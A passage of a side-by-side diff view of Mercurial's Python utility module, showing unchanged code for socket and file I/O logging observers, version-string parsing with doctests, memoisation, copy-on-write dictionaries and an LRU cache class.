918 | b'%s> bufferedreadline() -> %d' % (self.name, len(res)) | |
919 | ) |
|
919 | ) | |
920 |
|
920 | |||
921 | self._writedata(res) |
|
921 | self._writedata(res) | |
922 |
|
922 | |||
923 |
|
923 | |||
924 | def makeloggingfileobject( |
|
924 | def makeloggingfileobject( | |
925 | logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True |
|
925 | logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True | |
926 | ): |
|
926 | ): | |
927 | """Turn a file object into a logging file object.""" |
|
927 | """Turn a file object into a logging file object.""" | |
928 |
|
928 | |||
929 | observer = fileobjectobserver( |
|
929 | observer = fileobjectobserver( | |
930 | logh, |
|
930 | logh, | |
931 | name, |
|
931 | name, | |
932 | reads=reads, |
|
932 | reads=reads, | |
933 | writes=writes, |
|
933 | writes=writes, | |
934 | logdata=logdata, |
|
934 | logdata=logdata, | |
935 | logdataapis=logdataapis, |
|
935 | logdataapis=logdataapis, | |
936 | ) |
|
936 | ) | |
937 | return fileobjectproxy(fh, observer) |
|
937 | return fileobjectproxy(fh, observer) | |
938 |
|
938 | |||
939 |
|
939 | |||
940 | class socketobserver(baseproxyobserver): |
|
940 | class socketobserver(baseproxyobserver): | |
941 | """Logs socket activity.""" |
|
941 | """Logs socket activity.""" | |
942 |
|
942 | |||
943 | def __init__( |
|
943 | def __init__( | |
944 | self, |
|
944 | self, | |
945 | fh, |
|
945 | fh, | |
946 | name, |
|
946 | name, | |
947 | reads=True, |
|
947 | reads=True, | |
948 | writes=True, |
|
948 | writes=True, | |
949 | states=True, |
|
949 | states=True, | |
950 | logdata=False, |
|
950 | logdata=False, | |
951 | logdataapis=True, |
|
951 | logdataapis=True, | |
952 | ): |
|
952 | ): | |
953 | self.fh = fh |
|
953 | self.fh = fh | |
954 | self.name = name |
|
954 | self.name = name | |
955 | self.reads = reads |
|
955 | self.reads = reads | |
956 | self.writes = writes |
|
956 | self.writes = writes | |
957 | self.states = states |
|
957 | self.states = states | |
958 | self.logdata = logdata |
|
958 | self.logdata = logdata | |
959 | self.logdataapis = logdataapis |
|
959 | self.logdataapis = logdataapis | |
960 |
|
960 | |||
961 | def makefile(self, res, mode=None, bufsize=None): |
|
961 | def makefile(self, res, mode=None, bufsize=None): | |
962 | if not self.states: |
|
962 | if not self.states: | |
963 | return |
|
963 | return | |
964 |
|
964 | |||
965 | self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize)) |
|
965 | self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize)) | |
966 |
|
966 | |||
967 | def recv(self, res, size, flags=0): |
|
967 | def recv(self, res, size, flags=0): | |
968 | if not self.reads: |
|
968 | if not self.reads: | |
969 | return |
|
969 | return | |
970 |
|
970 | |||
971 | if self.logdataapis: |
|
971 | if self.logdataapis: | |
972 | self.fh.write( |
|
972 | self.fh.write( | |
973 | b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res)) |
|
973 | b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res)) | |
974 | ) |
|
974 | ) | |
975 | self._writedata(res) |
|
975 | self._writedata(res) | |
976 |
|
976 | |||
977 | def recvfrom(self, res, size, flags=0): |
|
977 | def recvfrom(self, res, size, flags=0): | |
978 | if not self.reads: |
|
978 | if not self.reads: | |
979 | return |
|
979 | return | |
980 |
|
980 | |||
981 | if self.logdataapis: |
|
981 | if self.logdataapis: | |
982 | self.fh.write( |
|
982 | self.fh.write( | |
983 | b'%s> recvfrom(%d, %d) -> %d' |
|
983 | b'%s> recvfrom(%d, %d) -> %d' | |
984 | % (self.name, size, flags, len(res[0])) |
|
984 | % (self.name, size, flags, len(res[0])) | |
985 | ) |
|
985 | ) | |
986 |
|
986 | |||
987 | self._writedata(res[0]) |
|
987 | self._writedata(res[0]) | |
988 |
|
988 | |||
989 | def recvfrom_into(self, res, buf, size, flags=0): |
|
989 | def recvfrom_into(self, res, buf, size, flags=0): | |
990 | if not self.reads: |
|
990 | if not self.reads: | |
991 | return |
|
991 | return | |
992 |
|
992 | |||
993 | if self.logdataapis: |
|
993 | if self.logdataapis: | |
994 | self.fh.write( |
|
994 | self.fh.write( | |
995 | b'%s> recvfrom_into(%d, %d) -> %d' |
|
995 | b'%s> recvfrom_into(%d, %d) -> %d' | |
996 | % (self.name, size, flags, res[0]) |
|
996 | % (self.name, size, flags, res[0]) | |
997 | ) |
|
997 | ) | |
998 |
|
998 | |||
999 | self._writedata(buf[0 : res[0]]) |
|
999 | self._writedata(buf[0 : res[0]]) | |
1000 |
|
1000 | |||
1001 | def recv_into(self, res, buf, size=0, flags=0): |
|
1001 | def recv_into(self, res, buf, size=0, flags=0): | |
1002 | if not self.reads: |
|
1002 | if not self.reads: | |
1003 | return |
|
1003 | return | |
1004 |
|
1004 | |||
1005 | if self.logdataapis: |
|
1005 | if self.logdataapis: | |
1006 | self.fh.write( |
|
1006 | self.fh.write( | |
1007 | b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res) |
|
1007 | b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res) | |
1008 | ) |
|
1008 | ) | |
1009 |
|
1009 | |||
1010 | self._writedata(buf[0:res]) |
|
1010 | self._writedata(buf[0:res]) | |
1011 |
|
1011 | |||
1012 | def send(self, res, data, flags=0): |
|
1012 | def send(self, res, data, flags=0): | |
1013 | if not self.writes: |
|
1013 | if not self.writes: | |
1014 | return |
|
1014 | return | |
1015 |
|
1015 | |||
1016 | self.fh.write( |
|
1016 | self.fh.write( | |
1017 | b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res)) |
|
1017 | b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res)) | |
1018 | ) |
|
1018 | ) | |
1019 | self._writedata(data) |
|
1019 | self._writedata(data) | |
1020 |
|
1020 | |||
1021 | def sendall(self, res, data, flags=0): |
|
1021 | def sendall(self, res, data, flags=0): | |
1022 | if not self.writes: |
|
1022 | if not self.writes: | |
1023 | return |
|
1023 | return | |
1024 |
|
1024 | |||
1025 | if self.logdataapis: |
|
1025 | if self.logdataapis: | |
1026 | # Returns None on success. So don't bother reporting return value. |
|
1026 | # Returns None on success. So don't bother reporting return value. | |
1027 | self.fh.write( |
|
1027 | self.fh.write( | |
1028 | b'%s> sendall(%d, %d)' % (self.name, len(data), flags) |
|
1028 | b'%s> sendall(%d, %d)' % (self.name, len(data), flags) | |
1029 | ) |
|
1029 | ) | |
1030 |
|
1030 | |||
1031 | self._writedata(data) |
|
1031 | self._writedata(data) | |
1032 |
|
1032 | |||
1033 | def sendto(self, res, data, flagsoraddress, address=None): |
|
1033 | def sendto(self, res, data, flagsoraddress, address=None): | |
1034 | if not self.writes: |
|
1034 | if not self.writes: | |
1035 | return |
|
1035 | return | |
1036 |
|
1036 | |||
1037 | if address: |
|
1037 | if address: | |
1038 | flags = flagsoraddress |
|
1038 | flags = flagsoraddress | |
1039 | else: |
|
1039 | else: | |
1040 | flags = 0 |
|
1040 | flags = 0 | |
1041 |
|
1041 | |||
1042 | if self.logdataapis: |
|
1042 | if self.logdataapis: | |
1043 | self.fh.write( |
|
1043 | self.fh.write( | |
1044 | b'%s> sendto(%d, %d, %r) -> %d' |
|
1044 | b'%s> sendto(%d, %d, %r) -> %d' | |
1045 | % (self.name, len(data), flags, address, res) |
|
1045 | % (self.name, len(data), flags, address, res) | |
1046 | ) |
|
1046 | ) | |
1047 |
|
1047 | |||
1048 | self._writedata(data) |
|
1048 | self._writedata(data) | |
1049 |
|
1049 | |||
1050 | def setblocking(self, res, flag): |
|
1050 | def setblocking(self, res, flag): | |
1051 | if not self.states: |
|
1051 | if not self.states: | |
1052 | return |
|
1052 | return | |
1053 |
|
1053 | |||
1054 | self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag)) |
|
1054 | self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag)) | |
1055 |
|
1055 | |||
1056 | def settimeout(self, res, value): |
|
1056 | def settimeout(self, res, value): | |
1057 | if not self.states: |
|
1057 | if not self.states: | |
1058 | return |
|
1058 | return | |
1059 |
|
1059 | |||
1060 | self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value)) |
|
1060 | self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value)) | |
1061 |
|
1061 | |||
1062 | def gettimeout(self, res): |
|
1062 | def gettimeout(self, res): | |
1063 | if not self.states: |
|
1063 | if not self.states: | |
1064 | return |
|
1064 | return | |
1065 |
|
1065 | |||
1066 | self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res)) |
|
1066 | self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res)) | |
1067 |
|
1067 | |||
1068 | def setsockopt(self, res, level, optname, value): |
|
1068 | def setsockopt(self, res, level, optname, value): | |
1069 | if not self.states: |
|
1069 | if not self.states: | |
1070 | return |
|
1070 | return | |
1071 |
|
1071 | |||
1072 | self.fh.write( |
|
1072 | self.fh.write( | |
1073 | b'%s> setsockopt(%r, %r, %r) -> %r\n' |
|
1073 | b'%s> setsockopt(%r, %r, %r) -> %r\n' | |
1074 | % (self.name, level, optname, value, res) |
|
1074 | % (self.name, level, optname, value, res) | |
1075 | ) |
|
1075 | ) | |
1076 |
|
1076 | |||
1077 |
|
1077 | |||
1078 | def makeloggingsocket( |
|
1078 | def makeloggingsocket( | |
1079 | logh, |
|
1079 | logh, | |
1080 | fh, |
|
1080 | fh, | |
1081 | name, |
|
1081 | name, | |
1082 | reads=True, |
|
1082 | reads=True, | |
1083 | writes=True, |
|
1083 | writes=True, | |
1084 | states=True, |
|
1084 | states=True, | |
1085 | logdata=False, |
|
1085 | logdata=False, | |
1086 | logdataapis=True, |
|
1086 | logdataapis=True, | |
1087 | ): |
|
1087 | ): | |
1088 | """Turn a socket into a logging socket.""" |
|
1088 | """Turn a socket into a logging socket.""" | |
1089 |
|
1089 | |||
1090 | observer = socketobserver( |
|
1090 | observer = socketobserver( | |
1091 | logh, |
|
1091 | logh, | |
1092 | name, |
|
1092 | name, | |
1093 | reads=reads, |
|
1093 | reads=reads, | |
1094 | writes=writes, |
|
1094 | writes=writes, | |
1095 | states=states, |
|
1095 | states=states, | |
1096 | logdata=logdata, |
|
1096 | logdata=logdata, | |
1097 | logdataapis=logdataapis, |
|
1097 | logdataapis=logdataapis, | |
1098 | ) |
|
1098 | ) | |
1099 | return socketproxy(fh, observer) |
|
1099 | return socketproxy(fh, observer) | |
1100 |
|
1100 | |||
1101 |
|
1101 | |||
1102 | def version(): |
|
1102 | def version(): | |
1103 | """Return version information if available.""" |
|
1103 | """Return version information if available.""" | |
1104 | try: |
|
1104 | try: | |
1105 | from . import __version__ |
|
1105 | from . import __version__ | |
1106 |
|
1106 | |||
1107 | return __version__.version |
|
1107 | return __version__.version | |
1108 | except ImportError: |
|
1108 | except ImportError: | |
1109 | return b'unknown' |
|
1109 | return b'unknown' | |
1110 |
|
1110 | |||
1111 |
|
1111 | |||
1112 | def versiontuple(v=None, n=4): |
|
1112 | def versiontuple(v=None, n=4): | |
1113 | """Parses a Mercurial version string into an N-tuple. |
|
1113 | """Parses a Mercurial version string into an N-tuple. | |
1114 |
|
1114 | |||
1115 | The version string to be parsed is specified with the ``v`` argument. |
|
1115 | The version string to be parsed is specified with the ``v`` argument. | |
1116 | If it isn't defined, the current Mercurial version string will be parsed. |
|
1116 | If it isn't defined, the current Mercurial version string will be parsed. | |
1117 |
|
1117 | |||
1118 | ``n`` can be 2, 3, or 4. Here is how some version strings map to |
|
1118 | ``n`` can be 2, 3, or 4. Here is how some version strings map to | |
1119 | returned values: |
|
1119 | returned values: | |
1120 |
|
1120 | |||
1121 | >>> v = b'3.6.1+190-df9b73d2d444' |
|
1121 | >>> v = b'3.6.1+190-df9b73d2d444' | |
1122 | >>> versiontuple(v, 2) |
|
1122 | >>> versiontuple(v, 2) | |
1123 | (3, 6) |
|
1123 | (3, 6) | |
1124 | >>> versiontuple(v, 3) |
|
1124 | >>> versiontuple(v, 3) | |
1125 | (3, 6, 1) |
|
1125 | (3, 6, 1) | |
1126 | >>> versiontuple(v, 4) |
|
1126 | >>> versiontuple(v, 4) | |
1127 | (3, 6, 1, '190-df9b73d2d444') |
|
1127 | (3, 6, 1, '190-df9b73d2d444') | |
1128 |
|
1128 | |||
1129 | >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118') |
|
1129 | >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118') | |
1130 | (3, 6, 1, '190-df9b73d2d444+20151118') |
|
1130 | (3, 6, 1, '190-df9b73d2d444+20151118') | |
1131 |
|
1131 | |||
1132 | >>> v = b'3.6' |
|
1132 | >>> v = b'3.6' | |
1133 | >>> versiontuple(v, 2) |
|
1133 | >>> versiontuple(v, 2) | |
1134 | (3, 6) |
|
1134 | (3, 6) | |
1135 | >>> versiontuple(v, 3) |
|
1135 | >>> versiontuple(v, 3) | |
1136 | (3, 6, None) |
|
1136 | (3, 6, None) | |
1137 | >>> versiontuple(v, 4) |
|
1137 | >>> versiontuple(v, 4) | |
1138 | (3, 6, None, None) |
|
1138 | (3, 6, None, None) | |
1139 |
|
1139 | |||
1140 | >>> v = b'3.9-rc' |
|
1140 | >>> v = b'3.9-rc' | |
1141 | >>> versiontuple(v, 2) |
|
1141 | >>> versiontuple(v, 2) | |
1142 | (3, 9) |
|
1142 | (3, 9) | |
1143 | >>> versiontuple(v, 3) |
|
1143 | >>> versiontuple(v, 3) | |
1144 | (3, 9, None) |
|
1144 | (3, 9, None) | |
1145 | >>> versiontuple(v, 4) |
|
1145 | >>> versiontuple(v, 4) | |
1146 | (3, 9, None, 'rc') |
|
1146 | (3, 9, None, 'rc') | |
1147 |
|
1147 | |||
1148 | >>> v = b'3.9-rc+2-02a8fea4289b' |
|
1148 | >>> v = b'3.9-rc+2-02a8fea4289b' | |
1149 | >>> versiontuple(v, 2) |
|
1149 | >>> versiontuple(v, 2) | |
1150 | (3, 9) |
|
1150 | (3, 9) | |
1151 | >>> versiontuple(v, 3) |
|
1151 | >>> versiontuple(v, 3) | |
1152 | (3, 9, None) |
|
1152 | (3, 9, None) | |
1153 | >>> versiontuple(v, 4) |
|
1153 | >>> versiontuple(v, 4) | |
1154 | (3, 9, None, 'rc+2-02a8fea4289b') |
|
1154 | (3, 9, None, 'rc+2-02a8fea4289b') | |
1155 |
|
1155 | |||
1156 | >>> versiontuple(b'4.6rc0') |
|
1156 | >>> versiontuple(b'4.6rc0') | |
1157 | (4, 6, None, 'rc0') |
|
1157 | (4, 6, None, 'rc0') | |
1158 | >>> versiontuple(b'4.6rc0+12-425d55e54f98') |
|
1158 | >>> versiontuple(b'4.6rc0+12-425d55e54f98') | |
1159 | (4, 6, None, 'rc0+12-425d55e54f98') |
|
1159 | (4, 6, None, 'rc0+12-425d55e54f98') | |
1160 | >>> versiontuple(b'.1.2.3') |
|
1160 | >>> versiontuple(b'.1.2.3') | |
1161 | (None, None, None, '.1.2.3') |
|
1161 | (None, None, None, '.1.2.3') | |
1162 | >>> versiontuple(b'12.34..5') |
|
1162 | >>> versiontuple(b'12.34..5') | |
1163 | (12, 34, None, '..5') |
|
1163 | (12, 34, None, '..5') | |
1164 | >>> versiontuple(b'1.2.3.4.5.6') |
|
1164 | >>> versiontuple(b'1.2.3.4.5.6') | |
1165 | (1, 2, 3, '.4.5.6') |
|
1165 | (1, 2, 3, '.4.5.6') | |
1166 | """ |
|
1166 | """ | |
1167 | if not v: |
|
1167 | if not v: | |
1168 | v = version() |
|
1168 | v = version() | |
1169 | m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v) |
|
1169 | m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v) | |
1170 | if not m: |
|
1170 | if not m: | |
1171 | vparts, extra = b'', v |
|
1171 | vparts, extra = b'', v | |
1172 | elif m.group(2): |
|
1172 | elif m.group(2): | |
1173 | vparts, extra = m.groups() |
|
1173 | vparts, extra = m.groups() | |
1174 | else: |
|
1174 | else: | |
1175 | vparts, extra = m.group(1), None |
|
1175 | vparts, extra = m.group(1), None | |
1176 |
|
1176 | |||
1177 | vints = [] |
|
1177 | vints = [] | |
1178 | for i in vparts.split(b'.'): |
|
1178 | for i in vparts.split(b'.'): | |
1179 | try: |
|
1179 | try: | |
1180 | vints.append(int(i)) |
|
1180 | vints.append(int(i)) | |
1181 | except ValueError: |
|
1181 | except ValueError: | |
1182 | break |
|
1182 | break | |
1183 | # (3, 6) -> (3, 6, None) |
|
1183 | # (3, 6) -> (3, 6, None) | |
1184 | while len(vints) < 3: |
|
1184 | while len(vints) < 3: | |
1185 | vints.append(None) |
|
1185 | vints.append(None) | |
1186 |
|
1186 | |||
1187 | if n == 2: |
|
1187 | if n == 2: | |
1188 | return (vints[0], vints[1]) |
|
1188 | return (vints[0], vints[1]) | |
1189 | if n == 3: |
|
1189 | if n == 3: | |
1190 | return (vints[0], vints[1], vints[2]) |
|
1190 | return (vints[0], vints[1], vints[2]) | |
1191 | if n == 4: |
|
1191 | if n == 4: | |
1192 | return (vints[0], vints[1], vints[2], extra) |
|
1192 | return (vints[0], vints[1], vints[2], extra) | |
1193 |
|
1193 | |||
1194 |
|
1194 | |||
1195 | def cachefunc(func): |
|
1195 | def cachefunc(func): | |
1196 | '''cache the result of function calls''' |
|
1196 | '''cache the result of function calls''' | |
1197 | # XXX doesn't handle keywords args |
|
1197 | # XXX doesn't handle keywords args | |
1198 | if func.__code__.co_argcount == 0: |
|
1198 | if func.__code__.co_argcount == 0: | |
1199 | cache = [] |
|
1199 | cache = [] | |
1200 |
|
1200 | |||
1201 | def f(): |
|
1201 | def f(): | |
1202 | if len(cache) == 0: |
|
1202 | if len(cache) == 0: | |
1203 | cache.append(func()) |
|
1203 | cache.append(func()) | |
1204 | return cache[0] |
|
1204 | return cache[0] | |
1205 |
|
1205 | |||
1206 | return f |
|
1206 | return f | |
1207 | cache = {} |
|
1207 | cache = {} | |
1208 | if func.__code__.co_argcount == 1: |
|
1208 | if func.__code__.co_argcount == 1: | |
1209 | # we gain a small amount of time because |
|
1209 | # we gain a small amount of time because | |
1210 | # we don't need to pack/unpack the list |
|
1210 | # we don't need to pack/unpack the list | |
1211 | def f(arg): |
|
1211 | def f(arg): | |
1212 | if arg not in cache: |
|
1212 | if arg not in cache: | |
1213 | cache[arg] = func(arg) |
|
1213 | cache[arg] = func(arg) | |
1214 | return cache[arg] |
|
1214 | return cache[arg] | |
1215 |
|
1215 | |||
1216 | else: |
|
1216 | else: | |
1217 |
|
1217 | |||
1218 | def f(*args): |
|
1218 | def f(*args): | |
1219 | if args not in cache: |
|
1219 | if args not in cache: | |
1220 | cache[args] = func(*args) |
|
1220 | cache[args] = func(*args) | |
1221 | return cache[args] |
|
1221 | return cache[args] | |
1222 |
|
1222 | |||
1223 | return f |
|
1223 | return f | |
1224 |
|
1224 | |||
1225 |
|
1225 | |||
1226 | class cow(object): |
|
1226 | class cow(object): | |
1227 | """helper class to make copy-on-write easier |
|
1227 | """helper class to make copy-on-write easier | |
1228 |
|
1228 | |||
1229 | Call preparewrite before doing any writes. |
|
1229 | Call preparewrite before doing any writes. | |
1230 | """ |
|
1230 | """ | |
1231 |
|
1231 | |||
1232 | def preparewrite(self): |
|
1232 | def preparewrite(self): | |
1233 | """call this before writes, return self or a copied new object""" |
|
1233 | """call this before writes, return self or a copied new object""" | |
1234 | if getattr(self, '_copied', 0): |
|
1234 | if getattr(self, '_copied', 0): | |
1235 | self._copied -= 1 |
|
1235 | self._copied -= 1 | |
1236 | return self.__class__(self) |
|
1236 | return self.__class__(self) | |
1237 | return self |
|
1237 | return self | |
1238 |
|
1238 | |||
1239 | def copy(self): |
|
1239 | def copy(self): | |
1240 | """always do a cheap copy""" |
|
1240 | """always do a cheap copy""" | |
1241 | self._copied = getattr(self, '_copied', 0) + 1 |
|
1241 | self._copied = getattr(self, '_copied', 0) + 1 | |
1242 | return self |
|
1242 | return self | |
1243 |
|
1243 | |||
1244 |
|
1244 | |||
1245 | class sortdict(collections.OrderedDict): |
|
1245 | class sortdict(collections.OrderedDict): | |
1246 | '''a simple sorted dictionary |
|
1246 | '''a simple sorted dictionary | |
1247 |
|
1247 | |||
1248 | >>> d1 = sortdict([(b'a', 0), (b'b', 1)]) |
|
1248 | >>> d1 = sortdict([(b'a', 0), (b'b', 1)]) | |
1249 | >>> d2 = d1.copy() |
|
1249 | >>> d2 = d1.copy() | |
1250 | >>> d2 |
|
1250 | >>> d2 | |
1251 | sortdict([('a', 0), ('b', 1)]) |
|
1251 | sortdict([('a', 0), ('b', 1)]) | |
1252 | >>> d2.update([(b'a', 2)]) |
|
1252 | >>> d2.update([(b'a', 2)]) | |
1253 | >>> list(d2.keys()) # should still be in last-set order |
|
1253 | >>> list(d2.keys()) # should still be in last-set order | |
1254 | ['b', 'a'] |
|
1254 | ['b', 'a'] | |
1255 | ''' |
|
1255 | ''' | |
1256 |
|
1256 | |||
1257 | def __setitem__(self, key, value): |
|
1257 | def __setitem__(self, key, value): | |
1258 | if key in self: |
|
1258 | if key in self: | |
1259 | del self[key] |
|
1259 | del self[key] | |
1260 | super(sortdict, self).__setitem__(key, value) |
|
1260 | super(sortdict, self).__setitem__(key, value) | |
1261 |
|
1261 | |||
1262 | if pycompat.ispypy: |
|
1262 | if pycompat.ispypy: | |
1263 | # __setitem__() isn't called as of PyPy 5.8.0 |
|
1263 | # __setitem__() isn't called as of PyPy 5.8.0 | |
1264 | def update(self, src): |
|
1264 | def update(self, src): | |
1265 | if isinstance(src, dict): |
|
1265 | if isinstance(src, dict): | |
1266 | src = pycompat.iteritems(src) |
|
1266 | src = pycompat.iteritems(src) | |
1267 | for k, v in src: |
|
1267 | for k, v in src: | |
1268 | self[k] = v |
|
1268 | self[k] = v | |
1269 |
|
1269 | |||
1270 |
|
1270 | |||
1271 | class cowdict(cow, dict): |
|
1271 | class cowdict(cow, dict): | |
1272 | """copy-on-write dict |
|
1272 | """copy-on-write dict | |
1273 |
|
1273 | |||
1274 | Be sure to call d = d.preparewrite() before writing to d. |
|
1274 | Be sure to call d = d.preparewrite() before writing to d. | |
1275 |
|
1275 | |||
1276 | >>> a = cowdict() |
|
1276 | >>> a = cowdict() | |
1277 | >>> a is a.preparewrite() |
|
1277 | >>> a is a.preparewrite() | |
1278 | True |
|
1278 | True | |
1279 | >>> b = a.copy() |
|
1279 | >>> b = a.copy() | |
1280 | >>> b is a |
|
1280 | >>> b is a | |
1281 | True |
|
1281 | True | |
1282 | >>> c = b.copy() |
|
1282 | >>> c = b.copy() | |
1283 | >>> c is a |
|
1283 | >>> c is a | |
1284 | True |
|
1284 | True | |
1285 | >>> a = a.preparewrite() |
|
1285 | >>> a = a.preparewrite() | |
1286 | >>> b is a |
|
1286 | >>> b is a | |
1287 | False |
|
1287 | False | |
1288 | >>> a is a.preparewrite() |
|
1288 | >>> a is a.preparewrite() | |
1289 | True |
|
1289 | True | |
1290 | >>> c = c.preparewrite() |
|
1290 | >>> c = c.preparewrite() | |
1291 | >>> b is c |
|
1291 | >>> b is c | |
1292 | False |
|
1292 | False | |
1293 | >>> b is b.preparewrite() |
|
1293 | >>> b is b.preparewrite() | |
1294 | True |
|
1294 | True | |
1295 | """ |
|
1295 | """ | |
1296 |
|
1296 | |||
1297 |
|
1297 | |||
1298 | class cowsortdict(cow, sortdict): |
|
1298 | class cowsortdict(cow, sortdict): | |
1299 | """copy-on-write sortdict |
|
1299 | """copy-on-write sortdict | |
1300 |
|
1300 | |||
1301 | Be sure to call d = d.preparewrite() before writing to d. |
|
1301 | Be sure to call d = d.preparewrite() before writing to d. | |
1302 | """ |
|
1302 | """ | |
1303 |
|
1303 | |||
1304 |
|
1304 | |||
1305 | class transactional(object): # pytype: disable=ignored-metaclass |
|
1305 | class transactional(object): # pytype: disable=ignored-metaclass | |
1306 | """Base class for making a transactional type into a context manager.""" |
|
1306 | """Base class for making a transactional type into a context manager.""" | |
1307 |
|
1307 | |||
1308 | __metaclass__ = abc.ABCMeta |
|
1308 | __metaclass__ = abc.ABCMeta | |
1309 |
|
1309 | |||
1310 | @abc.abstractmethod |
|
1310 | @abc.abstractmethod | |
1311 | def close(self): |
|
1311 | def close(self): | |
1312 | """Successfully closes the transaction.""" |
|
1312 | """Successfully closes the transaction.""" | |
1313 |
|
1313 | |||
1314 | @abc.abstractmethod |
|
1314 | @abc.abstractmethod | |
1315 | def release(self): |
|
1315 | def release(self): | |
1316 | """Marks the end of the transaction. |
|
1316 | """Marks the end of the transaction. | |
1317 |
|
1317 | |||
1318 | If the transaction has not been closed, it will be aborted. |
|
1318 | If the transaction has not been closed, it will be aborted. | |
1319 | """ |
|
1319 | """ | |
1320 |
|
1320 | |||
1321 | def __enter__(self): |
|
1321 | def __enter__(self): | |
1322 | return self |
|
1322 | return self | |
1323 |
|
1323 | |||
1324 | def __exit__(self, exc_type, exc_val, exc_tb): |
|
1324 | def __exit__(self, exc_type, exc_val, exc_tb): | |
1325 | try: |
|
1325 | try: | |
1326 | if exc_type is None: |
|
1326 | if exc_type is None: | |
1327 | self.close() |
|
1327 | self.close() | |
1328 | finally: |
|
1328 | finally: | |
1329 | self.release() |
|
1329 | self.release() | |
1330 |
|
1330 | |||
1331 |
|
1331 | |||
1332 | @contextlib.contextmanager |
|
1332 | @contextlib.contextmanager | |
1333 | def acceptintervention(tr=None): |
|
1333 | def acceptintervention(tr=None): | |
1334 | """A context manager that closes the transaction on InterventionRequired |
|
1334 | """A context manager that closes the transaction on InterventionRequired | |
1335 |
|
1335 | |||
1336 | If no transaction was provided, this simply runs the body and returns |
|
1336 | If no transaction was provided, this simply runs the body and returns | |
1337 | """ |
|
1337 | """ | |
1338 | if not tr: |
|
1338 | if not tr: | |
1339 | yield |
|
1339 | yield | |
1340 | return |
|
1340 | return | |
1341 | try: |
|
1341 | try: | |
1342 | yield |
|
1342 | yield | |
1343 | tr.close() |
|
1343 | tr.close() | |
1344 | except error.InterventionRequired: |
|
1344 | except error.InterventionRequired: | |
1345 | tr.close() |
|
1345 | tr.close() | |
1346 | raise |
|
1346 | raise | |
1347 | finally: |
|
1347 | finally: | |
1348 | tr.release() |
|
1348 | tr.release() | |
1349 |
|
1349 | |||
1350 |
|
1350 | |||
1351 | @contextlib.contextmanager |
|
1351 | @contextlib.contextmanager | |
1352 | def nullcontextmanager(): |
|
1352 | def nullcontextmanager(): | |
1353 | yield |
|
1353 | yield | |
1354 |
|
1354 | |||
1355 |
|
1355 | |||
1356 | class _lrucachenode(object): |
|
1356 | class _lrucachenode(object): | |
1357 | """A node in a doubly linked list. |
|
1357 | """A node in a doubly linked list. | |
1358 |
|
1358 | |||
1359 | Holds a reference to nodes on either side as well as a key-value |
|
1359 | Holds a reference to nodes on either side as well as a key-value | |
1360 | pair for the dictionary entry. |
|
1360 | pair for the dictionary entry. | |
1361 | """ |
|
1361 | """ | |
1362 |
|
1362 | |||
1363 | __slots__ = ('next', 'prev', 'key', 'value', 'cost') |
|
1363 | __slots__ = ('next', 'prev', 'key', 'value', 'cost') | |
1364 |
|
1364 | |||
1365 | def __init__(self): |
|
1365 | def __init__(self): | |
1366 | self.next = None |
|
1366 | self.next = None | |
1367 | self.prev = None |
|
1367 | self.prev = None | |
1368 |
|
1368 | |||
1369 | self.key = _notset |
|
1369 | self.key = _notset | |
1370 | self.value = None |
|
1370 | self.value = None | |
1371 | self.cost = 0 |
|
1371 | self.cost = 0 | |
1372 |
|
1372 | |||
1373 | def markempty(self): |
|
1373 | def markempty(self): | |
1374 | """Mark the node as emptied.""" |
|
1374 | """Mark the node as emptied.""" | |
1375 | self.key = _notset |
|
1375 | self.key = _notset | |
1376 | self.value = None |
|
1376 | self.value = None | |
1377 | self.cost = 0 |
|
1377 | self.cost = 0 | |
1378 |
|
1378 | |||
1379 |
|
1379 | |||
1380 | class lrucachedict(object): |
|
1380 | class lrucachedict(object): | |
1381 | """Dict that caches most recent accesses and sets. |
|
1381 | """Dict that caches most recent accesses and sets. | |
1382 |
|
1382 | |||
1383 | The dict consists of an actual backing dict - indexed by original |
|
1383 | The dict consists of an actual backing dict - indexed by original | |
1384 | key - and a doubly linked circular list defining the order of entries in |
|
1384 | key - and a doubly linked circular list defining the order of entries in | |
1385 | the cache. |
|
1385 | the cache. | |
1386 |
|
1386 | |||
1387 | The head node is the newest entry in the cache. If the cache is full, |
|
1387 | The head node is the newest entry in the cache. If the cache is full, | |
1388 | we recycle head.prev and make it the new head. Cache accesses result in |
|
1388 | we recycle head.prev and make it the new head. Cache accesses result in | |
1389 | the node being moved to before the existing head and being marked as the |
|
1389 | the node being moved to before the existing head and being marked as the | |
1390 | new head node. |
|
1390 | new head node. | |
1391 |
|
1391 | |||
1392 | Items in the cache can be inserted with an optional "cost" value. This is |
|
1392 | Items in the cache can be inserted with an optional "cost" value. This is | |
1393 | simply an integer that is specified by the caller. The cache can be queried |
|
1393 | simply an integer that is specified by the caller. The cache can be queried | |
1394 | for the total cost of all items presently in the cache. |
|
1394 | for the total cost of all items presently in the cache. | |
1395 |
|
1395 | |||
1396 | The cache can also define a maximum cost. If a cache insertion would |
|
1396 | The cache can also define a maximum cost. If a cache insertion would | |
1397 | cause the total cost of the cache to go beyond the maximum cost limit, |
|
1397 | cause the total cost of the cache to go beyond the maximum cost limit, | |
1398 | nodes will be evicted to make room for the new code. This can be used |
|
1398 | nodes will be evicted to make room for the new code. This can be used | |
1399 | to e.g. set a max memory limit and associate an estimated bytes size |
|
1399 | to e.g. set a max memory limit and associate an estimated bytes size | |
1400 | cost to each item in the cache. By default, no maximum cost is enforced. |
|
1400 | cost to each item in the cache. By default, no maximum cost is enforced. | |
1401 | """ |
|
1401 | """ | |
1402 |
|
1402 | |||
